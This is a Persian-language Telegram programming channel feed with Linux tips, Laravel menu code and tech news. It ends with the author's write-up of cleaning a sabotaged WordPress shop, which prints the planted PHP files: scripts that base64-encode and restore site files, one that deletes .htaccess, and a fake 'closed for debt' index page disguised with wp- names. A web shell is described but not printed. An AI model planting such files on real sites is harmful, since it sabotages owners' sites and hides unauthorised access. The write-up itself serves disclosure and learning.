🎄 یک برنامه نویس تنبل
2.02K subscribers
1.54K photos
284 videos
37 files
1.91K links
کانال یک برنامه نویس تنبل

🔥لینوکس
🔥برنامه نویسی فرانت‌اند
🔥برنامه نویسی بک‌اند
🔥اخبار تکنولوژی و...

ارتباط با مدیریت :

@CoderNap

اسپانسر هاست سایت راییوم توسط پوینا

https://rayium.ir

@poinair
Download Telegram
Forwarded from CleverDevs (Mammad)
اگه یه برنامه ای کرش کرد و نمیدونستید باید چی رو kill کنید میتونید با کامند xkill چیزی که میخواید رو با موس kill کنید

#gnu #linux
@CleverDevs - @CleverDevsGp
😁13👍2
Forwarded from Linuxor ?
اگه توی محصولات JetBrains اشتباهی یه فایل رو پاک کردین و حتی تحت کنترل گیت هم نبود، روی فولدرش کلیک راست کنید و با Local History برش گردونین.


@Linuxor
👍8🤣2😱1
🔶 لاراول ۱۲

#لاراول

@TheRaymondDev
👍1
🔶 مایکروسافت اعلام کرد که اسکایپ را به نفع مایکروسافت تیمز تعطیل می کند.

پایان یک دوران است که مایکروسافت اسکایپ را در ماه مه تعطیل می کند و نسخه رایگان مایکروسافت تیمز را برای کاربران جایگزین می کند. کاربران اسکایپ می‌توانند به برنامه مایکروسافت تیمز وارد شوند و تاریخچه پیام‌ها، چت‌های گروهی و مخاطبین خود را بدون نیاز به ایجاد حساب دیگری به‌طور خودکار در دسترس قرار دهند، یا می‌توانند به جای آن داده‌های خود را ارسال کنند. مایکروسافت همچنین پشتیبانی از تماس با شماره های داخلی یا بین المللی را به تدریج قطع می کند.

#خبر

@TheRaymondDev
👍3🎉1
Forwarded from laravel-news
امروز و فردا به تمام دوره های #Vue_School دسترسی خواهید داشت!

همین حالا ثبت‌نام کنید!

Get Free Access to all 70+ Vue School Courses - 1-2 March
This weekend at Vue School, get access to 48 hours of premium Vue.js courses FOR FREE!

https://vueschool.io/freeweekend

#Vue
🔶 چگونه منوهای لاراول را داینامیک کنیم؟

در حالت عادی شما می توانید با کد زیر به راحتی منو داینامیک کنید:

<a href="{{ route('admin.index') }}" class="btn {{ request()->routeIs('admin.index') ? 
'btn-light text-start border-0 active' : 'btn-light text-start border-0' }}
rounded-3 mb-2"><i class="fa-duotone fa-home me-2"></i> پیشخوان </a>


اما در حالت حرفه ای تر از طریق Providers می توانید منوها را تعریف کنید.

۱- فایل پروایدر AdminMenuServiceProvider ایجاد کنید:

php artisan make:provider AdminMenuServiceProvider


۲- در مسیر config/app.php فایل پروایدر را صدا بزنید:

'providers' => [
App\Providers\AdminMenuServiceProvider::class,
],


۳- در AdminMenuServiceProvider با متد booted محتوای کد به این شکل خواهد بود:

public function boot(): void
{
$this->app->booted(function () {
config()->set('admin.menus', [
'admin' => [
'route' => 'admin',
'url' => route('admin.index'),
'title' => 'پیشخوان',
'icon' => 'fa-home'
],
'users' => [
'route' => 'users',
'url' => route('users.index'),
'title' => 'کاربران',
'icon' => 'fa-users'
],
]);
});
}


۴- در آخر نمایش منوها :

@foreach(config('admin.menus', []) as $row)
@php
$baseRouteName = $row['route'] ?? null;
$isActive = $baseRouteName ? request()->routeIs([
"{$baseRouteName}.index",
"{$baseRouteName}.create",
"{$baseRouteName}.edit"
]) : false;
@endphp

<a href="{{ $row['url'] }}"
type="button"
class="btn {{ $isActive ? 'btn-light text-start
border-0 active' : 'btn-light text-start border-0' }} rounded-3 mb-2">
<i class="fa-duotone {{ $row['icon'] ?? '' }}"></i> {{ $row['title'] ?? '' }}
</a>
@endforeach


#لاراول

@TheRaymondDev
👍4🤔2
🔶 طبق بررسی هایی که در گیت هاب صورت گرفته است که متاسفانه بیش 1115 مخزن دارای محتوای کرک و ماد مربوط به نرم افزار های مثل فتوشاپ و فورتنایت و روبلاکس داده های کاربران را به سرقت می ببرند.

تمام داده های رایانه شما جمع آوری و به برخی از سرورهای دیسکورد ارسال می شود و جایی که صدها نفر در داده ها به دنبال کلیدهای خصوصی کیف پول رمزنگاری، حساب های بانکی و اعتبار رسانه های اجتماعی و حتی حساب های Steam و Riot Games می گردند.

پ . ن : اخیرا گیت هاب 100 هزار مخزن آلوده به بدافزار پیدا کرده است.

#خبر

@TheRaymondDev
🔶 میزکار سینامون لینوکس مینت یه باگ عجیبی داره.

این باگ اینکه در بخش جسنجو منوها اگر یک حروف فارسی وارد بشه کل میزکار کرش می کنه...

به روز رسانی : این بعضی وقتا اتفاق می افته...

#لینوکس

@TheRaymondDev
🤣13👍1
🔶 استفاده دانشجویان از هوش مصنوعی، ناقوس مرگ برای تفکر انتقادی است.

به گزارش گاردین، دانشگاه‌های انگلستان اخیرا هشدار دادند که ۹۲ درصد دانشجویان از هوش مصنوعی استفاده می‌کنند و این برای دانشگاه‌ها که قرن‌ها خود را مخزن دانش و حقیقت می‌دانستند، ناگوار است. فروپاشی زمانی آغاز شد که دیگر کسی برای کارشناسان ارزش قائل نشد، تفکر انتقادی تضعیف شد و گفتمان عمومی به حالت دوقطبی درآمد.

منابع سنتی دانش به طور فزاینده‌ای در حال رد شدن هستند. کتاب‌ها، مقالات، مجلات و رسانه‌های قدیمی با پیشرفت‌های صورت‌گرفته در ارائه و بازیابی اطلاعات، به ویژه از طریق اپلیکیشن‌ها و رسانه‌های اجتماعی به چالش کشیده می‌شوند. این امر منجر به "Tinderfication" دانش شده است.

به عنوان مثال، فهرست‌های مطالعه تنظیم‌شده برای استفاده دانشگاهیان در پژوهش اغلب توسط دانشجویان نادیده گرفته می‌شوند و جست‌وجو در «گوگل» جای آنها را می‌گیرد. اگر دانشجو از آنچه می‌خواند خوشش نیاید، می‌تواند به سادگی به گوگل روی بیاورد. الگوریتم‌ها می‌توانند دانشجویان را به جهت‌های غیرمنتظره بفرستند و اغلب آنها را از سختگیری تحصیلی به سمت منابع غیر دانشگاهی منحرف می‌کنند.

#خبر

@TheRaymondDev
👍5
خیلی وقته که براتون لینک تخفیف دوره یودمی نذاشتم.
دوره پرامپت نویسی chat gpt با قیمت ۲۰ یورو.
با لینک زیر رایگان برای شما

https://www.udemy.com/course/chatgpt-101-42/?couponCode=4FD47E6896B03DA2C89E

@DevTwitter | <Farhad Fallah/>
DevTwitter | توییت برنامه نویسی
خیلی وقته که براتون لینک تخفیف دوره یودمی نذاشتم. دوره پرامپت نویسی chat gpt با قیمت ۲۰ یورو. با لینک زیر رایگان برای شما https://www.udemy.com/course/chatgpt-101-42/?couponCode=4FD47E6896B03DA2C89E @DevTwitter | <Farhad Fallah/>
راهکار ساده برای تنبلا:
سوالتونو بنویسید chatgpt ازش بخواید پرامپت مناسب درکشو براتون بنویسه بعد با اون ازش سوال بپرسید

اسکی از منبع Linuxor

@TheRaymondDev
😁7👎1
🔶 اکستنشن XTranslator کروم : ترجمه توییت ها با هوش مصنوعی جمنای

خود شبکه اجتماعی ایکس سیستم داخلی ترجمه را دارد اما با XTranslator متون انگلیسی را به فارسی روان تر ترجمه می کند.

https://github.com/iSegaro/XTranslator

@TheRaymondDev
3
🔶 آموزش پردازش ابری به رشته‌های فنی‌وحرفه‌ای کشور اضافه شد

استانداردهای شایستگی شغل مهندس پردازش ابری شامل «تکنسین ابری» و «مهندس پردازش ابری» زیر نظر سازمان فنی‌وحرفه‌ای کشور و با همکاری تخصصی آروان‌کلاد به سرفصل‌های آموزشی کشور اضافه شد و این استانداردها که پس از تطبیق با شاخص‌های جهانی در فهرست شایستگی‌های شغل مهندسی ابری، قرار گرفته، هم‌اکنون در وب‎سایت سازمان فنی‌وحرفه‌ای با کدهای ۳۵۱۲ و ۲۵۱۲ در دسترس دانش‌پذیران است.

</zoomit>
#خبر

@TheRaymondDev
👍2
آفرین به شیرین سوهانی و حسین ملایمی، کارگردانان انیمیشن "در سایه سرو" که برنده جایزه اسکار ۹۷ برای بهترین انیمیشن کوتاه شدند! 👏🎉

همچنین کانون پرورش فکری کودکان و نوجوانان که همیشه حامی استعدادهای درخشان این سرزمین بوده و یک سرمایه ملی برای ایران محسوب می‌شود
11👍4👎2🔥2
🔶 امروز برای اولین بار سایت فروشگاهی ووکامرس - وردپرس را ویروس یابی و پاک سازی کردم.

برنامه نویس قبلی (کاریش ندارم ناراضی هست و چکار کرده) اقدام به نوشتن کدهایی PHP برای از کار انداختن وب سایت فروشگاهی کرده است و ممکنه این کدها توسط هوش مصنوعی نوشته شده باشد و در نوع خودش جالب توجه بود.

فایل ها و کدهای مشکوک در روت اجرا می شد و هر بار کدها پاکسازی می کردم که طرف با بارگزاری سایت با پسوند نامشخص, باز کدها رو تولید می کرد و همین که مشخص شد که چندین فایل وجود است که به همه آنها دسترسی 0000 توی هاست دادم و تقریبا اجرای کد مخرب متوقف شد! و سایت به حالت عادی برگشت.

ممکنه امروز کدها رو به اشتراک بزارم و برای شما جالب باشد.

چون اولین باره این کار انجام دادم که هزینه نگرفتم و تجربه کسب کردم.

#وردپرس

@TheRaymondDev
1👍8
🔶 اینجا چند فایل پیدا کردم که جز وردپرس نبودند و اما با اضافه کردن پسوند wp- سعی در فریب صاحب سایت می کند که بدونه این فایل جز وردپرس هست و که مثلا نباید حذف شود...

wp-test.php
wp-untest.php
wp-con.php
wp-in.php


در اینجاست که دو فایل wp-test و wp-untest کدها را می ببنید:

wp-test.php

<?php
$excluded_files = ['wp-untest.php', 'wp-test.php'];
$files = scandir(__DIR__);

foreach ($files as $file) {
if (is_file($file) && !in_array($file, $excluded_files)) {
$content = file_get_contents($file);
$encoded = base64_encode($content);
file_put_contents($file . ".b64", $encoded);
}
}
?>


wp-untest.php

<?php
$excluded_files = ['wp-untest.php', 'wp-test.php'];
$files = scandir(__DIR__);

foreach ($files as $file) {
if (is_file($file) && substr($file, -4) === ".b64") {
$original_name = substr($file, 0, -4);
if (!in_array($original_name, $excluded_files)) {
$content = file_get_contents($file);
$decoded = base64_decode($content);
file_put_contents($original_name, $decoded);
unlink($file);
}
}
}
?>


کد بالا یک اسکریپت ساده است که فایل‌های موجود در دایرکتوری جاری را بررسی می‌کند، محتوای آن‌ها را خوانده و به صورت base64 کدگذاری می‌کند، سپس نتیجه را در فایل‌های جدید با پسوند .b64 ذخیره می‌کند.

<?php

$filePath = '.htaccess';

if (chmod($filePath, 0644)) {
echo "دسترسی فایل با موفقیت تغییر یافت.\n";
} else {
echo "تغییر دسترسی فایل ناموفق بود.\n";
exit;
}

if (unlink($filePath)) {
echo "فایل با موفقیت حذف شد.\n";
} else {
echo "حذف فایل ناموفق بود.\n";
}
?>


کد بالا اینکه .htaccess دسترسی رو به ۰۶۴۴ تغییر میده و .htaccess کنونی هم حذف می کند.

wp-in.php

<!DOCTYPE html>
<html lang="fa" dir="rtl">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>سایت موقتاً بسته است</title>
</head>
<body>
<div>
<h1>متأسفیم!</h1>
<p>این سایت بدلیل بدهی مالی تا اطلاع ثانوی بسته می‌باشد.</p>
</div>
</body>
</html>


کد wp-in حاوی کد ساده ایندکس هست که وظیفه اینه به فایل index.php وردپرس کپی و پیست کند.

حالا می رسیدم به wp-con.php

این بخش خیلی کد طولانی که ۲۳۳ خط کد هست که قرار نمیدم عملکرد اینکه می تونه پوشه و فایل مورد نظر رو آپلود وحذف کند و لیست فایل ها رو نمایش بده که همان وب شل (Web Shell) نامیده می شود و هکرها آن را روی سرورهای وب قربانی نصب می‌کنند تا از راه دور به سیستم دسترسی داشته باشند.

اینجا این کدها که منظم بوده با هوش مصنوعی نوشته شده است!

بنابراین که باید از هوش مصنوعی ترسید! که میتواند کدهای مخرب رو بنویسند و برنامه نویس حداقل متوسطه می تواند از این کدها بهره بگیرد.

تاکید می کنم که از این کدها سو استفاده نکنید و صرفا برای دانستن وب و امنیت است و کانال یک برنامه نویس تنبل هیچ مسئولیتی در سو استفاده از کدها برعهده نمی گیرد.


#وردپرس

@TheRaymondDev
👍2